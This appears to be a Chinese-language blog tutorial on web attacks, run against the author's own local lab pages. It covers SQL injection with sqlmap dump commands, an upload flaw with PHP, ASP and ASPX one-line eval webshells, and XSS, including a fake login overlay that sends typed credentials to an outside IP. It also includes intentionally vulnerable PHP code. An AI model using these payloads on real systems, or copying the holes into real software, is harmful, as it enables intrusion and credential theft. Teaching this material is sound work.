Web == (World Wide Web)全球广域网。在现在的网站,APP里面,只要计算机存在端口,
任何CPU执行代码通信的手段,那么得到计算机的的一切信息都有可能。与CPU进行通信的手段
有很多种。大多数时候我们并不能直接操纵CPU执行代码,间接通过主机软件的漏洞来操纵CPU得到
想要的信息。任何的入侵方式,本质就是要拿到CPU执行代码的权利。
注入
原理:利用恶意字符串让CPU把字符串理解为我们指定的代码。
现实:基本随便一个正规网站都很难找到这个漏洞
数据库注入漏洞
常见注入位置: 网址后缀,登陆,搜索, Cookie, Http头部,POST,GET
数据库判断注入:
and 1=1(真)and 1=2(假)
Or 1=1 (假)or 1=2 (真)
是否有数据库报错信息
当然现在很多框架对SQL语句都有严格的判断,框架会进行转义
框架解决问题的方式就是,无论你输入啥,到了数据库都是普通的字符串。
当然不排除有粗心大意者没有转义提供了注入的机会
万一有一天遇到了存在注入接口,SQL语句拼接没有转义
以MySQL为例题,已知登陆语句可能会是这样
例如登录语句
"select * from user where userName = ? and passWord = ?";
理想
可以在passWord = ? 添加 or 1 = 1 LIMIT 0, 5
通过这条语句我们就能拿到用户表的前5条数据,通常管理员,高级用户,都是排在最前面
用户密码通常都是MD5加密,只要不是太复杂,网上随便找一个就能破解。
现实
登录语句会经过后台处理,只返回0和1,并且查询语句没有权限进行增删改
只能一个个添加条件去猜字段,需要耗费大量时间
如果有这种漏洞,可以直接使用SQLMAP,SQLMAP集成了很多命令,想看啥看啥
GET注入
手写一个最简单的SQL注入漏洞,以PHP为例子
建议使用phpstudy速度快 ,新建一个数据库sqlmap,执行以下sql代码
SET NAMES utf8mb4;
SET FOREIGN_KEY_CHECKS = 0;
-- ----------------------------
-- Table structure for user
-- ----------------------------
DROP TABLE IF EXISTS `user`;
CREATE TABLE `user` (
`id` bigint(20) NOT NULL,
`name` varchar(64) CHARACTER SET utf32 COLLATE utf32_general_ci NOT NULL,
`pwd` varchar(64) CHARACTER SET utf32 COLLATE utf32_general_ci NULL DEFAULT NULL,
`phone` varchar(64) CHARACTER SET utf32 COLLATE utf32_general_ci NOT NULL,
`remark` varchar(128) CHARACTER SET utf32 COLLATE utf32_general_ci NULL DEFAULT NULL,
PRIMARY KEY (`id`, `name`, `phone`) USING BTREE
) ENGINE = InnoDB CHARACTER SET = utf32 COLLATE = utf32_general_ci ROW_FORMAT = Dynamic;
-- ----------------------------
-- Records of user
-- ----------------------------
INSERT INTO `user` VALUES (1, 'pika', 'pika123', '110', 'test');
INSERT INTO `user` VALUES (2, 'root', 'root', '113', 'test');
SET FOREIGN_KEY_CHECKS = 1;
===================================================================================
建立一个index.php文件放在服务器里面测试
测试url http://192.168.0.104/index.php?id=1%20or%201=1
<html>
<head>
<title>最简单的SQL注入</title>
<meta http-equiv="content-type" content="textml;charset=utf-8">
</head>
<body>
<?php
$conn=@mysql_connect("localhost",'root','root') or die("数据库连接失败!". mysql_error() );
mysql_select_db("sqlmap",$conn) or die("您要选择的数据库不存在");
$id= $_REQUEST['id'];
$sql="select * from user where id = $id";
$query=mysql_query($sql);
echo $sql;
echo "</br>";
while($arr=mysql_fetch_array($query))
{
var_dump($arr);
echo "</br>";
}
?>
</body>
<html>
测试URL: sqlmap.py 127.0.0.1 /index.php?id=1
sqlmap花费8秒左右检测出来这个URL的id的GET提交方式存在3个漏洞
布尔注入(后台处理了结果只返回0和1,可以用到这个)
时间等待注入(后台处理了语句但是没有正确值,利用通信时长判断结果)
联合注入(直接拼接SQL语句)
检测到这些漏洞意味着数据库信息完全暴露
1.使用sqlmap查看当前mysql用户,查看当前用户,查看当前数据库,查看当前用户权限
sqlmap.py http://127.0.0.1/index.php?id=1 --current-user --current-db --is-dba
{% image /img/sqlmap/sqlmap2.png 'sqlmap查询当前用户和当前数据库' '' %}
2.接下来查看数据库里面的表结构,指定数据库和表查看表结构
sqlmap.py http://127.0.0.1/index.php?id=1 -D sqlmap -T user --columns
3.只想查看用户名和密码
sqlmap.py http://127.0.0.1/index.php?id=1 -D sqlmap -T user -C "name","pwd" --dump
{% image /img/sqlmap/sqlmap4.png 'sqlmap查看表内容' '' %}
POST注入
大多数的时候会用到post注入,登录大多数都是表单提交,把id改为表单提交。
1.例如谷歌浏览器,在network里面找到post提交请求,点击复制,黏贴到记事本
{% image /img/sqlmap/sqlmap5.png '复制request请求' '' %}2.点击复制提交的数据,粘贴到记事本
{% image /img/sqlmap/sqlmap6.png '准备post数据' '' %}3.把记事本命名为a.txt,放到sqlmap文件夹下
{% image /img/sqlmap/sqlmap7.png '放到正确位置' '' %}4.执行检测
sqlmap.py -r a.txt
COOKIE注入
现实:现在基本上没人会把COOKIE参入SQL语句
可以复制请求粘贴到记事本里面直接看到COOKIE,也可以直接手动注入
sqlmap.py http://127.0.0.1/index.php --cookie "id=1"
现在很多免登录技术是把session加密存到cookie,
大多数通过用户点击恶意攻击界面,盗取用户COOKIE,伪造登录窃取用户资料
SQLMAP流程
执行这句不到两秒钟,我就在wireshark抓到了628个包
sqlmap.py http://127.0.0.1/index.php?id=1 -D sqlmap -T user -C "name","pwd" --dump
1.依次使用了联合语句进行拼接,还有AND语句,SLEEP语句等等
来自最后一条请求的GET语句
select * from user where id = 1 UNION ALL SELECT CONCAT(0x71786b7671,IFNULL(CAST(`name` AS NCHAR),0x20),0x76696468786b,IFNULL(CAST(`pwd` AS NCHAR),0x20),0x7176717171),NULL,NULL,NULL,NULL FROM sqlmap.`user` ORDER BY `pwd`
CONCAT 字符拼接 IFNULL 判空处理, CAST 字符转型(把所有的字符都转换成了字符串类型)
粗略计算下发送了100多条GET语句,很多语句都是极其相似的
中间拼接了0x71786b7671,这些字符感觉毫无意义,可能是数据分割符
注意: 使用sqlmap违法测试他人网站是一种违法行为,而且现在所有的网站一般都有ip,日志记录手段
上传漏洞
原理: 将恶意执行文件伪装成正常数据上传到服务器, 再利用服务器解析执行脚本
现实: 上传的文件可能会被改名,或者存储到专门的文件服务器,根本无法上传或链接到脚本
手写一个php例子
index.php
<html>
<head>
<meta charset="utf-8">
<title>最简单的上传漏洞</title>
</head>
<body>
<div>请上传头像(注意后台只支持gif,jpeg,jpg,png格式)
<form action="upload_file.php" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
upload_file.php
<?php
header("Content-Type:text/html;charset=utf-8");
// 允许上传的图片后缀
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800)) // 小于 200 kb
//&& in_array($extension, $allowedExts))//假设上传文件没有后缀名校验
{
if ($_FILES["file"]["error"] > 0)
{
echo "错误:: " . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"] . "<br>";
// 判断当前目录下的 upload 目录是否存在该文件
// 如果没有 upload 目录,你需要创建它,upload 目录权限为 777
if (file_exists("upload/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " 文件已经存在。 ";
}
else
{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["file"]["tmp_name"], "./upload/" . $_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}
}
else
{
echo "非法的文件格式";
}
?>
1.可以看到upload_file.php有3种判断方式
文件类型
文件类型是放在http包里面的,名称为Content-Type
文件结尾名
这个一般有后缀名判断的,也改不了
文件大小
没法改
在十多年前,有的检测方式只会检测文件字节头
在php5.3之前的版本据说有%00服务器截断解析错误,
它是因为在http里面暴露了自己的上传路径,用户恶意修改文件路径名
php在写入文件时遇到%00自动截断,从而达到绕过文件结尾名校验
我倒现在都没见到过上传文件有把地址写在http里面的
假设有这么个漏洞只检测大小和文件类型,那么可以利用Charles改http包(我觉得比burpsuite好用)
把一个php文件管理工具tinyfilemanager传入服务器里面
中国菜刀
这是一款非常好用的文件-数据库管理工具,只有1.3M的大小
PHP一句话木马:<?php @eval($_POST['key']);?>
ASP一句话木马:<%eval request['key']%>
ASPX一句话木马:<%@ Page Language="Jscript"%><%eval(Request.Item["key"],"unsafe");%>
我们上传一个webshell.php内容为<?php @eval($_POST['key']);?>
这个工具现在官网也打不开,我的win10一打开最新版本就卡死,
它的数据库管理,我找不到这个版本和功能。
第一次用这个工具真的好佩服这个作者,软件写的这么小,功能还这么强大
更让我敬畏计算机网络,利用短短的几个字节就能看到对方计算机的全部信息。
说不定我的电脑已经被入侵,被人看得清清楚楚了
上传漏洞总结
这个漏洞是一个极高风险的漏洞,一旦被入侵会把整个计算机信息泄露
网页表单验证(不可信的)->http验证(不可信的)->后台严格处理(可信的,最应该防范的步骤)
漏洞达到的条件就是成为目标服务器的可执行文件
跨站(Cross Site Script Execution)
攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对用户造成影响的HTML代码。
例如:利用js跳转到广告网站, 有的网站是利用cookie免登陆(利用js把你的cookie发出去)
现实:任何留言信息都将变为字符串, 脚本无法被执行,会被拉黑
手写一个简单的跨站漏洞
<html>
<title>最简单的XSS漏洞</title>
<meta http-equiv="Content-Type" content="textml; charset=utf-8" />
<form action="" method="get">
留言:<input type="text" name="xss" style="height:30px;width:600px;">
<input type="submit" value="提交">
</form>
<h2>留言板</h2>
<hr/>
<?php
$xss = $_GET['xss'];//假设没有留言框对用户做任何检测
echo $xss;
?>
<html>
通常在网站留言板写下内容后会把内容传入数据库。
其他用户查看留言的时候,网页会从数据库拉取留言,
拼接成静态网页文件后发给用户
在留言框编写一条广告语句
<h2 onclick="g()">皇家澳门赌场,性感荷官在线发牌</h2>
<script>function g(){ window.open("http://sht2019.cn","_blank");}</script>
直接修改网页
<div style="height:100%;width:100%;background-color:pink;position:absolute;top:0px;">
<h1>你的登陆信息已经过期,请重新登陆</h1>
<input type="text" class="name" text="用户名">
<input type="password" class="pwd" text="用户名">
<button onclick="s()">登陆</button>
</div>
<script>function s(){new Image().src="http://192.168.0.103?u="+document.getElementsByClassName("name")[0].value+"&p="+document.getElementsByClassName("pwd")[0].value;}</script>
如果用户输入密码进行登录,浏览器还会通过链接把账户发到指定ip
乌云XSS
(那些年我们一起学XSS):http://xss.fbisb.com/wooyun/
这里面学习了很多绕过XSS检测的方法
1.利用html符号绕过特殊符号检测,注释
2.直接改包
3.不同文件类型在网页的执行漏洞,图片,Flash漏洞等等
总结
XSS漏洞没有SQL注入,上传文件那么厉害.
但是打广告和改页面,恶意脚本不容忽视
后台一定要严格检验用户的输入,过滤特殊字符